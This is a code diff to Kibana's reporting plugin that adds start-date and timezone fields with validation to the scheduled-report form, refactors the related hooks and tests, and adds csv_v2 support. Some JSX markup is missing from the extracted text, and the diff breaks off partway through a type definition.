const { enableLinks, showLinks } = hasValidLicense(); - - const renderExportsList = useCallback(() => { - return suspendedComponentWithProps( - ReportExportsTable, - 'xl' - )({ - apiClient, - toasts: notifications.toasts, - license$, - config, - capabilities, - redirect: navigateToApp, - navigateToUrl, - urlService: shareService.url, - http, - }); - }, [ - apiClient, - notifications.toasts, - license$, - config, - capabilities, - navigateToApp, - navigateToUrl, - shareService.url, - http, - ]); - - const renderSchedulesList = useCallback(() => { - return ( - <> - {enableLinks && showLinks ? ( - - {suspendedComponentWithProps( - ReportSchedulesTable, - 'xl' - )({ - apiClient, - toasts: notifications.toasts, - license$, - config, - capabilities, - redirect: navigateToApp, - navigateToUrl, - urlService: shareService.url, - http, - })} - - ) : ( - - )} - - ); - }, [ - apiClient, - notifications.toasts, - license$, - config, - capabilities, - navigateToApp, - navigateToUrl, - shareService.url, - http, - enableLinks, - showLinks, - ]); + const { enableLinks, showLinks } = licensingInfo; const onSectionChange = (newSection: Section) => { history.push(`/${newSection}`); @@ -206,23 +114,7 @@ export const ReportingTabs: React.FunctionComponent< bottomBorder rightSideItems={ config.statefulSettings.enabled - ? [ - , - - - , - - {capabilities?.management?.data?.index_lifecycle_management && ( - - {ilmPolicyContextValue?.isLoading ? ( - - ) : ( - showIlmPolicyLink && - )} - - )} - , - ] + ? [] : [] } data-test-subj="reportingPageHeader" @@ -258,8 +150,38 @@ export const ReportingTabs: React.FunctionComponent< /> - - + ( + }> + + + )} + /> + ( + }> + {enableLinks && showLinks ? ( + + ) : ( + + )} + + )} + /> ); diff --git a/x-pack/platform/plugins/private/reporting/public/management/components/scheduled_report_flyout_content.test.tsx b/x-pack/platform/plugins/private/reporting/public/management/components/scheduled_report_flyout_content.test.tsx index 82978314287b2..58e8364d5106a 100644 --- a/x-pack/platform/plugins/private/reporting/public/management/components/scheduled_report_flyout_content.test.tsx +++ b/x-pack/platform/plugins/private/reporting/public/management/components/scheduled_report_flyout_content.test.tsx @@ -6,17 +6,19 @@ */ import React, { PropsWithChildren } from 'react'; +import moment from 'moment'; import { fireEvent, render, screen, waitFor, within } from '@testing-library/react'; +import userEvent from '@testing-library/user-event'; import { type ReportingAPIClient, useKibana } from '@kbn/reporting-public'; +import { coreMock } from '@kbn/core/public/mocks'; import { ReportTypeData, ScheduledReport } from '../../types'; import { getReportingHealth } from '../apis/get_reporting_health'; -import { coreMock } from '@kbn/core/public/mocks'; import { testQueryClient } from '../test_utils/test_query_client'; import { QueryClientProvider } from '@tanstack/react-query'; import { ScheduledReportFlyoutContent } from './scheduled_report_flyout_content'; import { scheduleReport } from '../apis/schedule_report'; import { ScheduledReportApiJSON } from '../../../server/types'; -import userEvent from '@testing-library/user-event'; +import * as useDefaultTimezoneModule from '../hooks/use_default_timezone'; // Mock Kibana hooks and context jest.mock('@kbn/reporting-public', () => ({ @@ -139,6 +141,10 @@ const mockKibanaServices = { getCurrent: jest.fn().mockResolvedValue({ user: { email: TEST_EMAIL } }), }, }; +const defaultTimezone = moment.tz.guess(); +const timezoneSpy = jest + .spyOn(useDefaultTimezoneModule, 'useDefaultTimezone') + .mockReturnValue({ defaultTimezone, isBrowser: true }); describe('ScheduledReportFlyoutContent', () => { beforeEach(() => { @@ -379,4 +385,63 @@ describe('ScheduledReportFlyoutContent', () => { expect(mockValidateEmailAddresses).toHaveBeenCalled(); expect(emailInput).not.toBeValid(); }); + + it('should use default values for startDate and timezone if not provided', async () => { + const systemTime = moment('2025-07-01'); + jest.useFakeTimers().setSystemTime(systemTime.toDate()); + + render( + + + + ); + + const timezoneField = await screen.findByTestId('timezoneCombobox'); + expect(within(timezoneField).getByText(defaultTimezone)).toBeInTheDocument(); + + const startDatePicker = await screen.findByTestId('startDatePicker'); + const startDateInput = within(startDatePicker).getByRole('textbox'); + const startDateValue = startDateInput.getAttribute('value')!; + expect(startDateValue).toEqual(systemTime.format('MM/DD/YYYY hh:mm A')); + + timezoneSpy.mockRestore(); + jest.useRealTimers(); + }); + + it('should show a validation error if startDate is in the past', async () => { + const systemTime = moment('2025-07-02'); + jest.useFakeTimers().setSystemTime(systemTime.toDate()); + + render( + + + + ); + + const startDatePicker = await screen.findByTestId('startDatePicker'); + const startDateInput = within(startDatePicker).getByRole('textbox'); + fireEvent.change(startDateInput, { target: { value: '07/01/2025 10:00 AM' } }); + fireEvent.blur(startDateInput); + + expect(await screen.findByText('Start date must be in the future')).toBeInTheDocument(); + + timezoneSpy.mockRestore(); + jest.useRealTimers(); + }); }); diff --git a/x-pack/platform/plugins/private/reporting/public/management/components/scheduled_report_flyout_content.tsx b/x-pack/platform/plugins/private/reporting/public/management/components/scheduled_report_flyout_content.tsx index 729a121e4a9e0..ac9ca25571b11 100644 --- a/x-pack/platform/plugins/private/reporting/public/management/components/scheduled_report_flyout_content.tsx +++ b/x-pack/platform/plugins/private/reporting/public/management/components/scheduled_report_flyout_content.tsx @@ -6,7 +6,7 @@ */ import React, { useEffect, useMemo } from 'react'; -import moment from 'moment'; +import moment, { Moment } from 'moment'; import { EuiBetaBadge, EuiButton, @@ -17,6 +17,7 @@ import { EuiFlyoutBody, EuiFlyoutFooter, EuiFlyoutHeader, + EuiFormLabel, EuiLink, EuiLoadingSpinner, EuiSpacer, @@ -39,6 +40,12 @@ import { mountReactNode } from '@kbn/core-mount-utils-browser-internal'; import { RecurringScheduleFormFields } from '@kbn/response-ops-recurring-schedule-form/components/recurring_schedule_form_fields'; import { Field } from '@kbn/es-ui-shared-plugin/static/forms/components'; import { Frequency } from '@kbn/rrule'; +import { fieldValidators } from '@kbn/es-ui-shared-plugin/static/forms/helpers'; +import { TIMEZONE_OPTIONS as UI_TIMEZONE_OPTIONS } from '@kbn/core-ui-settings-common'; +import { + convertStringToMoment, + convertMomentToString, +} from '@kbn/response-ops-recurring-schedule-form/converters/moment'; import { useGetUserProfileQuery } from '../hooks/use_get_user_profile_query'; import { ResponsiveFormGroup } from './responsive_form_group'; import { getReportParams } from '../report_params'; @@ -49,15 +56,25 @@ import { useGetReportingHealthQuery } from '../hooks/use_get_reporting_health_qu import { ReportTypeData, ScheduledReport } from '../../types'; import * as i18n from '../translations'; import { SCHEDULED_REPORT_FORM_ID } from '../constants'; +import { getStartDateValidator } from '../validators/start_date_validator'; + +const { emptyField } = fieldValidators; const FormField = getUseField({ component: Field, }); +const TIMEZONE_OPTIONS = UI_TIMEZONE_OPTIONS.map((tz) => ({ + inputDisplay: tz, + value: tz, +})) ?? [{ text: 'UTC', value: 'UTC' }]; + export type FormData = Pick< ScheduledReport, | 'title' | 'reportTypeId' + | 'startDate' + | 'timezone' | 'recurringSchedule' | 'sendByEmail' | 'emailRecipients' @@ -119,8 +136,6 @@ export const ScheduledReportFlyoutContent = ({ http, }); const { defaultTimezone } = useDefaultTimezone(); - const now = useMemo(() => moment().tz(defaultTimezone), [defaultTimezone]); - const defaultStartDateValue = useMemo(() => now.toISOString(), [now]); const schema = useMemo( () => getScheduledReportFormSchema( @@ -130,8 +145,6 @@ export const ScheduledReportFlyoutContent = ({ [availableReportTypes, validateEmailAddresses] ); const recurring = true; - const startDate = defaultStartDateValue; - const timezone = defaultTimezone; const { form } = useForm({ defaultValue: scheduledReport, options: { stripEmptyFields: true }, @@ -141,14 +154,15 @@ export const ScheduledReportFlyoutContent = ({ const { title, reportTypeId, + startDate, + timezone, recurringSchedule, optimizedForPrinting, sendByEmail, emailRecipients, } = formData; - // Remove start date since it's not supported for now - const { dtstart, ...rrule } = convertToRRule({ - startDate: now, + const rrule = convertToRRule({ + startDate, timezone, recurringSchedule, includeTime: true, @@ -187,10 +201,12 @@ export const ScheduledReportFlyoutContent = ({ } }, }); - const [{ reportTypeId, sendByEmail }] = useFormData({ + const [{ reportTypeId, startDate, timezone, sendByEmail }] = useFormData({ form, - watch: ['reportTypeId', 'sendByEmail'], + watch: ['reportTypeId', 'startDate', 'timezone', 'sendByEmail'], }); + const now = useMemo(() => moment().set({ second: 0, millisecond: 0 }), []); + const defaultStartDateValue = useMemo(() => now.toISOString(), [now]); useEffect(() => { if (!readOnly && !hasManageReportingPrivilege && userProfile?.user.email) { @@ -302,17 +318,79 @@ export const ScheduledReportFlyoutContent = ({ {i18n.SCHEDULED_REPORT_FORM_SCHEDULE_SECTION_TITLE}} > + + path="startDate" + config={{ + type: FIELD_TYPES.DATE_PICKER, + label: i18n.SCHEDULED_REPORT_FORM_START_DATE_LABEL, + defaultValue: defaultStartDateValue, + serializer: convertMomentToString, + deserializer: convertStringToMoment, + validations: [ + { + validator: emptyField(i18n.SCHEDULED_REPORT_FORM_START_DATE_REQUIRED_MESSAGE), + }, + { + validator: getStartDateValidator(now, timezone ?? defaultTimezone), + }, + ], + }} + componentProps={{ + compressed: true, + fullWidth: true, + 'data-test-subj': 'startDatePicker', + euiFieldProps: { + compressed: true, + fullWidth: true, + showTimeSelect: true, + minDate: now, + readOnly, + }, + }} + /> + + {i18n.SCHEDULED_REPORT_FORM_TIMEZONE_LABEL} + + ), + readOnly, + }, + }} + /> {isRecurring && ( - + <> + + + )} ); + +jest.mock('@kbn/share-plugin/public'); +const mockUseShareTypeContext = jest.mocked(useShareTypeContext).mockReturnValue({ + objectType: 'dashboard', + shareMenuItems: [ + { config: { exportType: 'printablePdfV2', label: 'PDF' } }, + { config: { exportType: 'csv_searchsource', label: 'CSV' } }, + ], +}); + +const mockApiClient = {} as any; +const mockReportingServices = { serviceFromReporting: {} } as any; +const mockSharingData = { title: 'Test Report' } as any; +const mockOnClose = jest.fn(); + +const defaultProps: ScheduledReportMenuItem = { + apiClient: mockApiClient, + services: mockReportingServices, + sharingData: mockSharingData, + onClose: mockOnClose, +}; + +describe('ScheduledReportFlyoutShareWrapper', () => { + const mockUseKibana = jest.fn(); + jest.mock('@kbn/reporting-public', () => ({ + ...jest.requireActual('@kbn/reporting-public'), + useKibana: mockUseKibana, + })); + + beforeEach(() => { + jest.clearAllMocks(); + mockUseKibana.mockReturnValue({ services: { otherService: {} } }); + }); + + it('should render ScheduledReportFlyoutContent if at least one compatible report type is available', () => { + render(); + expect(screen.getByTestId('flyoutContent')).toBeInTheDocument(); + }); + + it('should render null if reporting services are missing', () => { + const { container } = render( + // @ts-expect-error Testing missing services + + ); + expect(container.firstChild).toBeNull(); + }); + + it('should show a warning CallOut if no report type is supported for scheduling', () => { + mockUseShareTypeContext.mockReturnValue({ + shareMenuItems: [], + objectType: 'test', + }); + render(); + expect(screen.getByText('Scheduled reports are not supported here yet')).toBeInTheDocument(); + }); +}); diff --git a/x-pack/platform/plugins/private/reporting/public/management/components/scheduled_report_flyout_share_wrapper.tsx b/x-pack/platform/plugins/private/reporting/public/management/components/scheduled_report_flyout_share_wrapper.tsx index c5030b083af9c..5f265c9248556 100644 --- a/x-pack/platform/plugins/private/reporting/public/management/components/scheduled_report_flyout_share_wrapper.tsx +++ b/x-pack/platform/plugins/private/reporting/public/management/components/scheduled_report_flyout_share_wrapper.tsx @@ -5,17 +5,20 @@ * 2.0. */ -import { useShareTypeContext } from '@kbn/share-plugin/public'; import React, { useMemo } from 'react'; +import { EuiCallOut, EuiFlyoutBody } from '@elastic/eui'; +import { useShareTypeContext } from '@kbn/share-plugin/public'; import { ReportingAPIClient, useKibana } from '@kbn/reporting-public'; import { KibanaContextProvider } from '@kbn/kibana-react-plugin/public'; import type { ReportingSharingData } from '@kbn/reporting-public/share/share_context_menu'; import { QueryClientProvider } from '@tanstack/react-query'; +import { isEmpty } from 'lodash'; import { supportedReportTypes } from '../report_params'; import { queryClient } from '../../query_client'; import type { ReportingPublicPluginStartDependencies } from '../../plugin'; import { ScheduledReportFlyoutContent } from './scheduled_report_flyout_content'; import { ReportTypeId } from '../../types'; +import * as i18n from '../translations'; export interface ScheduledReportMenuItem { apiClient: ReportingAPIClient; @@ -56,10 +59,24 @@ export const ScheduledReportFlyoutShareWrapper = ({ [sharingData] ); - if (!services) { + if (isEmpty(reportingServices)) { return null; } + if (!availableReportTypes || availableReportTypes.length === 0) { + return ( + + +

    {i18n.SCHEDULED_REPORT_NO_REPORT_TYPES_MESSAGE}

    +
    +
    + ); + } + return ( diff --git a/x-pack/platform/plugins/private/reporting/public/management/hooks/use_bulk_disable.test.tsx b/x-pack/platform/plugins/private/reporting/public/management/hooks/use_bulk_disable.test.tsx index 63f26c8d23f82..e3827b42df1a9 100644 --- a/x-pack/platform/plugins/private/reporting/public/management/hooks/use_bulk_disable.test.tsx +++ b/x-pack/platform/plugins/private/reporting/public/management/hooks/use_bulk_disable.test.tsx @@ -12,6 +12,11 @@ import { renderHook, waitFor } from '@testing-library/react'; import { useBulkDisable } from './use_bulk_disable'; import { bulkDisableScheduledReports } from '../apis/bulk_disable_scheduled_reports'; import { testQueryClient } from '../test_utils/test_query_client'; +import { useKibana } from '@kbn/reporting-public'; + +jest.mock('@kbn/reporting-public', () => ({ + useKibana: jest.fn(), +})); jest.mock('../apis/bulk_disable_scheduled_reports', () => ({ bulkDisableScheduledReports: jest.fn(), @@ -26,6 +31,14 @@ describe('useBulkDisable', () => { ); beforeEach(() => { + (useKibana as jest.Mock).mockReturnValue({ + services: { + http, + notifications: { + toasts, + }, + }, + }); jest.clearAllMocks(); }); @@ -36,7 +49,7 @@ describe('useBulkDisable', () => { total: 1, }); - const { result } = renderHook(() => useBulkDisable({ http, toasts }), { + const { result } = renderHook(() => useBulkDisable(), { wrapper, }); @@ -59,7 +72,7 @@ describe('useBulkDisable', () => { it('throws error', async () => { (bulkDisableScheduledReports as jest.Mock).mockRejectedValueOnce({}); - const { result } = renderHook(() => useBulkDisable({ http, toasts }), { + const { result } = renderHook(() => useBulkDisable(), { wrapper, }); diff --git a/x-pack/platform/plugins/private/reporting/public/management/hooks/use_bulk_disable.tsx b/x-pack/platform/plugins/private/reporting/public/management/hooks/use_bulk_disable.tsx index b0ab70d05093d..b0927805efd89 100644 --- a/x-pack/platform/plugins/private/reporting/public/management/hooks/use_bulk_disable.tsx +++ b/x-pack/platform/plugins/private/reporting/public/management/hooks/use_bulk_disable.tsx @@ -6,18 +6,22 @@ */ import { useMutation, useQueryClient } from '@tanstack/react-query'; -import { HttpSetup, IHttpFetchError, ResponseErrorBody, ToastsStart } from '@kbn/core/public'; +import { IHttpFetchError, ResponseErrorBody } from '@kbn/core/public'; import { i18n } from '@kbn/i18n'; +import { useKibana } from '@kbn/reporting-public'; import { bulkDisableScheduledReports } from '../apis/bulk_disable_scheduled_reports'; -import { mutationKeys, queryKeys } from '../query_keys'; +import { mutationKeys } from '../mutation_keys'; export type ServerError = IHttpFetchError; const getKey = mutationKeys.bulkDisableScheduledReports; -export const useBulkDisable = (props: { http: HttpSetup; toasts: ToastsStart }) => { - const { http, toasts } = props; +export const useBulkDisable = () => { const queryClient = useQueryClient(); + const { + http, + notifications: { toasts }, + } = useKibana().services; return useMutation({ mutationKey: getKey(), @@ -40,7 +44,7 @@ export const useBulkDisable = (props: { http: HttpSetup; toasts: ToastsStart }) }) ); queryClient.invalidateQueries({ - queryKey: queryKeys.getScheduledList({}), + queryKey: ['reporting', 'scheduledList'], refetchType: 'active', }); }, diff --git a/x-pack/platform/plugins/private/reporting/public/management/hooks/use_get_scheduled_list.test.tsx b/x-pack/platform/plugins/private/reporting/public/management/hooks/use_get_scheduled_list.test.tsx index d7ea38502e41c..f41e13f4b58dc 100644 --- a/x-pack/platform/plugins/private/reporting/public/management/hooks/use_get_scheduled_list.test.tsx +++ b/x-pack/platform/plugins/private/reporting/public/management/hooks/use_get_scheduled_list.test.tsx @@ -12,6 +12,11 @@ import { renderHook, waitFor } from '@testing-library/react'; import { getScheduledReportsList } from '../apis/get_scheduled_reports_list'; import { useGetScheduledList } from './use_get_scheduled_list'; import { testQueryClient } from '../test_utils/test_query_client'; +import { useKibana } from '@kbn/reporting-public'; + +jest.mock('@kbn/reporting-public', () => ({ + useKibana: jest.fn(), +})); jest.mock('../apis/get_scheduled_reports_list', () => ({ getScheduledReportsList: jest.fn(), @@ -26,12 +31,17 @@ describe('useGetScheduledList', () => { beforeEach(() => { jest.clearAllMocks(); + (useKibana as jest.Mock).mockReturnValue({ + services: { + http, + }, + }); }); it('calls getScheduledList with correct arguments', async () => { (getScheduledReportsList as jest.Mock).mockResolvedValueOnce({ data: [] }); - const { result } = renderHook(() => useGetScheduledList({ http, index: 1, size: 10 }), { + const { result } = renderHook(() => useGetScheduledList({}), { wrapper, }); @@ -41,8 +51,8 @@ describe('useGetScheduledList', () => { expect(getScheduledReportsList).toBeCalledWith({ http, - index: 1, - size: 10, + page: 1, + perPage: 50, }); }); }); diff --git a/x-pack/platform/plugins/private/reporting/public/management/hooks/use_get_scheduled_list.tsx b/x-pack/platform/plugins/private/reporting/public/management/hooks/use_get_scheduled_list.tsx index 34cde02bcb0c8..604a6553e4c0f 100644 --- a/x-pack/platform/plugins/private/reporting/public/management/hooks/use_get_scheduled_list.tsx +++ b/x-pack/platform/plugins/private/reporting/public/management/hooks/use_get_scheduled_list.tsx @@ -6,23 +6,24 @@ */ import { useQuery } from '@tanstack/react-query'; -import { HttpSetup } from '@kbn/core/public'; +import { useKibana } from '@kbn/reporting-public'; import { getScheduledReportsList } from '../apis/get_scheduled_reports_list'; import { queryKeys } from '../query_keys'; export const getKey = queryKeys.getScheduledList; interface GetScheduledListQueryProps { - http: HttpSetup; - index?: number; - size?: number; + page?: number; + perPage?: number; } export const useGetScheduledList = (props: GetScheduledListQueryProps) => { - const { index = 1, size = 10 } = props; + const { http } = useKibana().services; + + const { page = 1, perPage = 50 } = props; return useQuery({ - queryKey: getKey({ index, size }), - queryFn: () => getScheduledReportsList(props), + queryKey: getKey({ page, perPage }), + queryFn: () => getScheduledReportsList({ http, page, perPage }), keepPreviousData: true, }); }; diff --git a/x-pack/platform/plugins/private/reporting/public/management/integrations/scheduled_report_share_integration.tsx b/x-pack/platform/plugins/private/reporting/public/management/integrations/scheduled_report_share_integration.tsx index cf73cf7890f3d..05aa2c94815eb 100644 --- a/x-pack/platform/plugins/private/reporting/public/management/integrations/scheduled_report_share_integration.tsx +++ b/x-pack/platform/plugins/private/reporting/public/management/integrations/scheduled_report_share_integration.tsx @@ -45,7 +45,7 @@ export const createScheduledReportShareIntegration = ({ const { sharingData } = shareOpts as unknown as { sharingData: ReportingSharingData }; return { label: ({ openFlyout }) => ( - + {SCHEDULE_EXPORT_BUTTON_LABEL} ), diff --git a/x-pack/platform/plugins/private/reporting/public/management/mount_management_section.tsx b/x-pack/platform/plugins/private/reporting/public/management/mount_management_section.tsx index 7d1917fa4bdbd..07c4361fee5ef 100644 --- a/x-pack/platform/plugins/private/reporting/public/management/mount_management_section.tsx +++ b/x-pack/platform/plugins/private/reporting/public/management/mount_management_section.tsx @@ -61,6 +61,7 @@ export async function mountManagementSection({ docLinks: coreStart.docLinks, data: dataService, share: shareService, + license$, actions: actionsService, notifications: notificationsService, }; @@ -82,15 +83,7 @@ export async function mountManagementSection({ render={(routerProps) => { return ( }> - + ); }} diff --git a/x-pack/platform/plugins/private/reporting/public/management/mutation_keys.ts b/x-pack/platform/plugins/private/reporting/public/management/mutation_keys.ts index b1d2acc130f74..a9782f5f088d8 100644 --- a/x-pack/platform/plugins/private/reporting/public/management/mutation_keys.ts +++ b/x-pack/platform/plugins/private/reporting/public/management/mutation_keys.ts @@ -8,4 +8,5 @@ export const mutationKeys = { root: 'reporting', scheduleReport: () => [mutationKeys.root, 'scheduleReport'] as const, + bulkDisableScheduledReports: () => [mutationKeys.root, 'bulkDisableScheduledReports'] as const, }; diff --git a/x-pack/platform/plugins/private/reporting/public/management/query_keys.ts b/x-pack/platform/plugins/private/reporting/public/management/query_keys.ts index 8ada852e0738e..a854608584fdb 100644 --- a/x-pack/platform/plugins/private/reporting/public/management/query_keys.ts +++ b/x-pack/platform/plugins/private/reporting/public/management/query_keys.ts @@ -11,7 +11,3 @@ export const queryKeys = { getHealth: () => [root, 'health'] as const, getUserProfile: () => [root, 'userProfile'] as const, }; - -export const mutationKeys = { - bulkDisableScheduledReports: () => [root, 'bulkDisableScheduledReports'] as const, -}; diff --git a/x-pack/platform/plugins/private/reporting/public/management/report_params.ts b/x-pack/platform/plugins/private/reporting/public/management/report_params.ts index 3221e4ae5c240..e67dbb20afce3 100644 --- a/x-pack/platform/plugins/private/reporting/public/management/report_params.ts +++ b/x-pack/platform/plugins/private/reporting/public/management/report_params.ts @@ -18,6 +18,7 @@ const reportParamsProviders = { pngV2: getPngReportParams, printablePdfV2: getPdfReportParams, csv_searchsource: getCsvReportParams, + csv_v2: getCsvReportParams, } as const; export const supportedReportTypes = Object.keys(reportParamsProviders) as ReportTypeId[]; diff --git a/x-pack/platform/plugins/private/reporting/public/management/schemas/scheduled_report_form_schema.ts b/x-pack/platform/plugins/private/reporting/public/management/schemas/scheduled_report_form_schema.ts index 2f1cee3e75f67..8afbdb10b1933 100644 --- a/x-pack/platform/plugins/private/reporting/public/management/schemas/scheduled_report_form_schema.ts +++ b/x-pack/platform/plugins/private/reporting/public/management/schemas/scheduled_report_form_schema.ts @@ -38,6 +38,8 @@ export const getScheduledReportFormSchema = ( }, ], }, + startDate: {}, + timezone: {}, recurringSchedule: getRecurringScheduleFormSchema({ allowInfiniteRecurrence: false }), sendByEmail: { type: FIELD_TYPES.TOGGLE, diff --git a/x-pack/platform/plugins/private/reporting/public/management/translations.ts b/x-pack/platform/plugins/private/reporting/public/management/translations.ts index 02791201e464e..33a06db613a6a 100644 --- a/x-pack/platform/plugins/private/reporting/public/management/translations.ts +++ b/x-pack/platform/plugins/private/reporting/public/management/translations.ts @@ -268,6 +268,20 @@ export const SCHEDULED_REPORT_FORM_FAILURE_TOAST_MESSAGE = i18n.translate( } ); +export const SCHEDULED_REPORT_NO_REPORT_TYPES_TITLE = i18n.translate( + 'xpack.reporting.scheduledReportingForm.noReportTypesTitle', + { + defaultMessage: 'Scheduled reports are not supported here yet', + } +); + +export const SCHEDULED_REPORT_NO_REPORT_TYPES_MESSAGE = i18n.translate( + 'xpack.reporting.scheduledReportingForm.noReportTypesMessage', + { + defaultMessage: 'Report types in this page are not supported for scheduled reports yet.', + } +); + export const CANNOT_LOAD_REPORTING_HEALTH_TITLE = i18n.translate( 'xpack.reporting.scheduledReportingForm.cannotLoadReportingHealthTitle', { diff --git a/x-pack/platform/plugins/private/reporting/public/management/utils.ts b/x-pack/platform/plugins/private/reporting/public/management/utils.ts index 3e9098e0c9a3a..77faaafec7c41 100644 --- a/x-pack/platform/plugins/private/reporting/public/management/utils.ts +++ b/x-pack/platform/plugins/private/reporting/public/management/utils.ts @@ -5,6 +5,7 @@ * 2.0. */ +import { capitalize } from 'lodash'; import type { IconType } from '@elastic/eui'; import { JOB_STATUS } from '@kbn/reporting-common'; import { Job } from '@kbn/reporting-public'; @@ -47,9 +48,9 @@ export const guessAppIconTypeFromObjectType = (type: string): IconType => { export const getDisplayNameFromObjectType = (type: string): string => { switch (type) { case 'search': - return 'discover session'; + return 'Discover'; default: - return type; + return capitalize(type); } }; @@ -125,8 +126,10 @@ export const transformScheduledReport = (report: ScheduledReportApiJSON): Schedu return { title, recurringSchedule, + // TODO dtstart should be required + startDate: rRule.dtstart!, reportTypeId: report.jobtype as ScheduledReport['reportTypeId'], - timezone: schedule.rrule.tzid, + timezone: rRule.tzid, recurring: true, sendByEmail: Boolean(notification?.email), emailRecipients: [...(notification?.email?.to || [])], diff --git a/x-pack/platform/plugins/private/reporting/public/management/validators/start_date_validator.test.ts b/x-pack/platform/plugins/private/reporting/public/management/validators/start_date_validator.test.ts new file mode 100644 index 0000000000000..f733ee3d7142d --- /dev/null +++ b/x-pack/platform/plugins/private/reporting/public/management/validators/start_date_validator.test.ts @@ -0,0 +1,43 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0; you may not use this file except in compliance with the Elastic License + * 2.0. + */ + +import moment from 'moment-timezone'; +import { getStartDateValidator } from './start_date_validator'; +import { SCHEDULED_REPORT_FORM_START_DATE_TOO_EARLY_MESSAGE } from '../translations'; + +describe('getStartDateValidator', () => { + const timezone = 'UTC'; + const today = moment.tz('2025-07-11T00:00:00Z', timezone); + const validator = getStartDateValidator(today, timezone); + + it('returns error if value is before today', () => { + const value = moment.tz('2025-07-10T23:59:59Z', timezone); + const result = validator({ value } as any); + expect(result).toEqual({ message: SCHEDULED_REPORT_FORM_START_DATE_TOO_EARLY_MESSAGE }); + }); + + it('returns undefined if value is equal to today', () => { + const value = moment.tz('2025-07-11T00:00:00Z', timezone); + const result = validator({ value } as any); + expect(result).toBeUndefined(); + }); + + it('returns undefined if value is after today', () => { + const value = moment.tz('2025-07-12T00:00:00Z', timezone); + const result = validator({ value } as any); + expect(result).toBeUndefined(); + }); + + it('handles different timezones correctly', () => { + const tz = 'America/New_York'; + const todayNY = moment.tz('2025-07-11T00:00:00', tz); + const validatorNY = getStartDateValidator(todayNY, tz); + const value = moment.tz('2025-07-10T23:59:59', tz); + const result = validatorNY({ value } as any); + expect(result).toEqual({ message: SCHEDULED_REPORT_FORM_START_DATE_TOO_EARLY_MESSAGE }); + }); +}); diff --git a/x-pack/platform/plugins/private/reporting/public/management/validators/start_date_validator.ts b/x-pack/platform/plugins/private/reporting/public/management/validators/start_date_validator.ts index 4555b4f1edf9e..121d1de901f41 100644 --- a/x-pack/platform/plugins/private/reporting/public/management/validators/start_date_validator.ts +++ b/x-pack/platform/plugins/private/reporting/public/management/validators/start_date_validator.ts @@ -11,9 +11,10 @@ import { SCHEDULED_REPORT_FORM_START_DATE_TOO_EARLY_MESSAGE } from '../translati import { ScheduledReport } from '../../types'; export const getStartDateValidator = - (today: Moment): ValidationFunc => + (today: Moment, timezone: string): ValidationFunc, string, Moment> => ({ value }) => { - if (value.isBefore(today)) { + const valueInTimezone = value.clone().tz(timezone, true); + if (valueInTimezone.isBefore(today)) { return { message: SCHEDULED_REPORT_FORM_START_DATE_TOO_EARLY_MESSAGE, }; diff --git a/x-pack/platform/plugins/private/reporting/public/redirect/redirect_app.test.tsx b/x-pack/platform/plugins/private/reporting/public/redirect/redirect_app.test.tsx index b39b174d69dac..d1b34eea4eecc 100644 --- a/x-pack/platform/plugins/private/reporting/public/redirect/redirect_app.test.tsx +++ b/x-pack/platform/plugins/private/reporting/public/redirect/redirect_app.test.tsx @@ -14,6 +14,7 @@ import { scopedHistoryMock } from '@kbn/core/public/mocks'; const mockApiClient = { getInfo: jest.fn(), + getScheduledReportInfo: jest.fn(), }; const mockScreenshotMode = { getScreenshotContext: jest.fn(), @@ -56,6 +57,30 @@ describe('RedirectApp', () => { }); }); + it('navigates using share.navigate when apiClient.getScheduledReportInfo returns locatorParams', async () => { + setLocationSearch('?page=2&perPage=50&scheduledReportId=happy'); + const locatorParams = { id: 'LENS_APP_LOCATOR', params: { foo: 'bar' } }; + mockApiClient.getScheduledReportInfo.mockResolvedValue({ + payload: { locatorParams: [locatorParams] }, + }); + + render( + + + + ); + + await waitFor(() => { + expect(mockApiClient.getScheduledReportInfo).toHaveBeenCalledWith('happy', 2, 50); + expect(mockShare.navigate).toHaveBeenCalledWith(locatorParams); + }); + }); + it('displays error when apiClient.getInfo throws', async () => { setLocationSearch('?jobId=fail'); const error = new Error('API failure'); @@ -86,6 +111,36 @@ describe('RedirectApp', () => { consoleErrorSpy.mockRestore(); }); + it('displays error when apiClient.getScheduledReportInfo throws', async () => { + setLocationSearch('?scheduledReportId=fail&page=1&perPage=50'); + const error = new Error('API failure'); + mockApiClient.getScheduledReportInfo.mockRejectedValue(error); + + const consoleErrorSpy = jest.spyOn(console, 'error').mockImplementation(() => {}); + + render( + + + + ); + + await waitFor(() => { + expect(screen.getByText('Redirect error')).toBeInTheDocument(); + expect(screen.getByText(error.message)).toBeInTheDocument(); + expect(consoleErrorSpy).toHaveBeenCalledWith( + expect.stringContaining('Redirect page error:'), + error.message + ); + }); + + consoleErrorSpy.mockRestore(); + }); + describe('non-app locator', () => { it('throws error when jobId present in the URL returns info with legacy locator', async () => { setLocationSearch('?jobId=123'); diff --git a/x-pack/platform/plugins/private/reporting/public/redirect/redirect_app.tsx b/x-pack/platform/plugins/private/reporting/public/redirect/redirect_app.tsx index 78e1e088ada74..b81e63205fd15 100644 --- a/x-pack/platform/plugins/private/reporting/public/redirect/redirect_app.tsx +++ b/x-pack/platform/plugins/private/reporting/public/redirect/redirect_app.tsx @@ -51,11 +51,13 @@ export const RedirectApp: FunctionComponent = ({ apiClient, screenshotMod try { let locatorParams: undefined | LocatorParams; - const { jobId, scheduledReportId } = parse(window.location.search); + const { jobId, scheduledReportId, page, perPage } = parse(window.location.search); if (scheduledReportId) { const scheduledReport = await apiClient.getScheduledReportInfo( - scheduledReportId as string + scheduledReportId as string, + parseInt(page as string, 10), + parseInt(perPage as string, 10) ); locatorParams = (scheduledReport?.payload as BaseParamsV2)?.locatorParams?.[0]; diff --git a/x-pack/platform/plugins/private/reporting/public/types.ts b/x-pack/platform/plugins/private/reporting/public/types.ts index d69136efc1e47..9286ffa9e1fe6 100644 --- a/x-pack/platform/plugins/private/reporting/public/types.ts +++ b/x-pack/platform/plugins/private/reporting/public/types.ts @@ -51,24 +51,46 @@ export interface JobSummarySet { failed?: JobSummary[]; } -export type ReportTypeId = 'pngV2' | 'printablePdfV2' | 'csv_searchsource'; +export type ReportTypeId = 'pngV2' | 'printablePdfV2' | 'csv_searchsource' | 'csv_v2'; export interface ScheduledReport { + /** + * The title of the report, used for the filename and in the UI + */ title: string; + /** + * The type of report to generate, e.g. 'pngV2', 'printablePdfV2', 'csv_searchsource' + */ reportTypeId: ReportTypeId; + /** + * PDF-specific option + * TODO move this to a more specific interface + */ optimizedForPrinting?: boolean; + /** + * The date when the report should be first generated + */ + 